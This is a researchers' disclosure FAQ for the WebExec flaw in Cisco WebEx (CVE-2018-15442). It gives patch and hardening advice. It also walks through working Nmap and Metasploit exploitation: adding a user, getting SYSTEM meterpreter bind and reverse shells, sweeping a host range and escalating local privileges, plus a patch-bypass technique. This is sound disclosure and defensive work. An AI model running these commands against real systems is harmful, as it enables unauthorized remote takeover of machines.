WebExec FAQ

Credit

Discovered by Ron Bowes and Jeff McJunkin of Counter Hack! You can view the technical writeup here, on Ron's blog and Cisco's advisory

If you have any questions or concerns, I made an email alias specifically for this issue: info@webexec.org!

What is WebExec?

WebExec is a vulnerability in, as the name implies, Cisco's WebEx client software. This is a pretty unique vulnerability, because it's a remote vulnerability in a client application that doesn't even listen on a port. The summary is: when the WebEx client is installed, it also installs a Windows service called WebExService that can execute arbitrary commands at SYSTEM-level privilege. Due to poor ACLs, any local or domain user can start the process over Window's remote service interface (except on Windows 10, which requires an administrator login).

This will be somewhat of a "living" document initially, where we'll collect any patches, exploits, blogs, or further details as they emerge. Email me if you see anything that should be added!

Timeline

We have to thank Cisco's PSIRT team from being super responsive and working with us to get this mitigated and to get an advisory released in a timely fashion! They've been wonderful to work with!

How do I fix it?

Cisco Webex Meetings Desktop App fixes this issue in versions 33.5.6 and 33.6.0. You can update by launching the Cisco Webex Meetings application and clicking the Gear in the top right of the application window then choosing the Check for Updates entry from the drop-down list. This is also documented in the article, Update the Cisco Webex Meetings Desktop App.

Cisco Webex Productivity Tools fixes this vulnerability in version 33.0.5 and later. Cisco Webex Productivity Tools has been replaced with Cisco Webex Meetings Desktop App since Cisco Webex Meetings Release 33.2.0. You can update by launching the Cisco Webex Meetings application and clicking Settings in the top right of the application window then choosing Check for Updates from the drop-down list. This is documented in more detail in the article, Check for Cisco Webex Productivity Tools Updates for Windows

Administrators can update for their entire userbase using the article IT Administrator Guide for Mass Deployment of the Cisco Webex Meetings Desktop App.

The updated client will validate that the executable being run is signed by WebEx before executing it, which fixes this vulnerability, but may leave further issues open. As such, we'd strongly recommend running this command on every workstation with WebEx installed, if possible:

c:\> sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Under the default configuration for WebExService, even when patched, any user with an account can start the service. That's fundamentally dangerous, even after patching. The command shown above removes that permission so it can be started by any local user (interactive sessions or RDP), or any administrative user.

Did you really need to give it a name?

Nope, but at least we didn't give it a logo!

How can I check for and exploit it?

We have written checks and exploits in several frameworks!

Nmap

We developed a pair of Nmap scripts, one to check for the vulnerability (smb-vuln-webexec.nse) and one to run actual code (smb-webexec-exploit.nse) (those links may not be ready yet). You can check out the full code from Nmap's SVN or on Nmap's git!

The following Nmap command will check whether or not a system is vulnerable by attempting to exploit the issue — note that this requires credentials of some kind (in a domain scenario, it can be any set of credentials):

nmap --script smb-vuln-webexec --script-args 'smbusername=testuser,smbpass=testuser,vulns.showall' -p139,445 -d <target>

Against a vulnerable system, it'll print:

  PORT    STATE SERVICE      REASON
  445/tcp open  microsoft-ds syn-ack
  | smb-vuln-webexec: 
  |   VULNERABLE:
  |   Remote Code Execution vulnerability in WebExService
  |     State: VULNERABLE
  |     IDs:  CVE:CVE-2018-15442
  |     Risk factor: HIGH
  |       A critical remote code execution vulnerability exists in WebExService (WebExec).
  |     Disclosure date: 2018-10-24
  |     References:
  |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15442
  |       https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
  |_      https://webexec.org

On a system without WebEx, the output is:

  PORT    STATE SERVICE      REASON
  445/tcp open  microsoft-ds syn-ack
  | smb-vuln-webexec: 
  |   NOT VULNERABLE:
  |   Remote Code Execution vulnerability in WebExService
  |     State: NOT VULNERABLE
  |     IDs:  CVE:CVE-2018-15442
  |     References:
  |       https://webexec.org
  |       https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
  |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15442

Using smb-webexec-exploit.nse, we can attempt to actually run commands. It's difficult to determine if the commands actually run, however, so we suggest using both scripts if you want to be sure. Here's an example:

$ ./nmap -p445 --script=smb-webexec-exploit --script-args='smbuser=testuser,smbpass=testuser,webexec_command=net user nmap nmap /add' 192.168.56.101
Starting Nmap 7.70SVN ( https://nmap.org ) at 2018-10-18 11:49 PDT
Nmap scan report for 192.168.56.101
Host is up (0.00036s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
|_smb-webexec-exploit: Asked WebExService to run net user nmap nmap /add

That will add the user nmap to the remote system. You can run any command you want — be creative!

If you have access to the host's UI, you may also want a command to run with a GUI. The previous invocation may or may not run with a GUI — we're not 100% sure why or why not — but to guarentee a GUI, use the webexec_gui_command argument:

$ ./nmap -p445 --script=smb-webexec-exploit --script-args='smbuser=testuser,smbpass=testuser,webexec_gui_command=cmd.exe' 192.168.56.101
Starting Nmap 7.70SVN ( https://nmap.org ) at 2018-10-18 11:51 PDT
Nmap scan report for 192.168.56.101
Host is up (0.00036s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
|_smb-webexec-exploit: Asked WebExService to run cmd.exe (with a GUI)

Metasploit

We also developed a series of Metasploit modules! They're available in the git version of Metasploit!

This version of Metasploit contains three new modules to exploit WebExec: an auxiliary module for running an arbitrary command, an exploit module for running an arbitrary exploit, and a local module for privilege escalation. I'll have another technical post that talks about how those work, but using them is straightforward:

  msf5 > use auxiliary/admin/smb/webexec_command 
  msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110
  RHOSTS => 192.168.56.100-110
  msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser
  SMBUser => testuser
  msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser
  SMBPass => testuser
  msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc
  COMMAND => calc
  msf5 auxiliary(admin/smb/webexec_command) > exploit
  
  [-] 192.168.56.105:445    - No service handle retrieved
  [+] 192.168.56.105:445    - Command completed!
  [-] 192.168.56.103:445    - No service handle retrieved
  [+] 192.168.56.103:445    - Command completed!
  [+] 192.168.56.104:445    - Command completed!
  [+] 192.168.56.101:445    - Command completed!
  [*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete)
  [*] Auxiliary module execution completed

And to exploit it with an arbitrary payload:

  msf5 > use exploit/windows/smb/webexec 
  msf5 exploit(windows/smb/webexec) > set SMBUser testuser
  SMBUser => testuser
  msf5 exploit(windows/smb/webexec) > set SMBPass testuser
  SMBPass => testuser
  msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp
  PAYLOAD => windows/meterpreter/bind_tcp
  msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101
  RHOSTS => 192.168.56.101
  msf5 exploit(windows/smb/webexec) > exploit
  
  [*] 192.168.56.101:445 - Connecting to the server...
  [*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'...
  [*] 192.168.56.101:445 - Command Stager progress -   0.96% done (999/104435 bytes)
  [*] 192.168.56.101:445 - Command Stager progress -   1.91% done (1998/104435 bytes)
  ...
  [*] 192.168.56.101:445 - Command Stager progress -  98.52% done (102891/104435 bytes)
  [*] 192.168.56.101:445 - Command Stager progress -  99.47% done (103880/104435 bytes)
  [*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
  [*] Started bind TCP handler against 192.168.56.101:4444
  [*] Sending stage (179779 bytes) to 192.168.56.101
  
  meterpreter > getuid
  Server username: NT AUTHORITY\SYSTEM

Finally, the local privilege escalation module, which is used after a session already exists as a non-SYSTEM user:

  meterpreter > getuid
  Server username: IEWIN7\IEUser
  meterpreter > background
  [*] Backgrounding session 1...
  msf exploit(multi/handler) > use exploit/windows/local/webexec
  msf exploit(windows/local/webexec) > set SESSION 1
  SESSION => 1
  msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
  payload => windows/meterpreter/reverse_tcp
  msf exploit(windows/local/webexec) > set LHOST 172.16.222.1
  LHOST => 172.16.222.1
  msf exploit(windows/local/webexec) > set LPORT 9001
  LPORT => 9001
  msf exploit(windows/local/webexec) > run
  
  [*] Started reverse TCP handler on 172.16.222.1:9001
  [*] Checking service exists...
  [*] Writing 73802 bytes to %SystemRoot%\Temp\yqaKLvdn.exe...
  [*] Launching service...
  [*] Sending stage (179779 bytes) to 172.16.222.132
  [*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700
  [*] Service started...
  
  meterpreter > getuid
  Server username: NT AUTHORITY\SYSTEM

Redux

On November 8 we reported a bypass to the patch, which was reported by several others at the same time. On November 27, the fix was released. Essentially, a WebEx-signed .exe file would load an unsigned .dll file. As a result, you could host a .exe and .dll on a fileshare, and tell WebEx to execute the .exe. It'll happily load the .exe, which will happily execute the .dll. We haven't done a proper write-up yet, but you can take a look at our formal disclosure and the associated project it mentions. This new bug is manually exploitable, but is not easy to automate.

Conclusion

So that's a quick overview of the WebExec vulnerability and some exploits we wrote. we'll update this page with more exploits or writeups as they're discovered! If We're missing something, don't hesitate to email me @ info@webexec.org!

References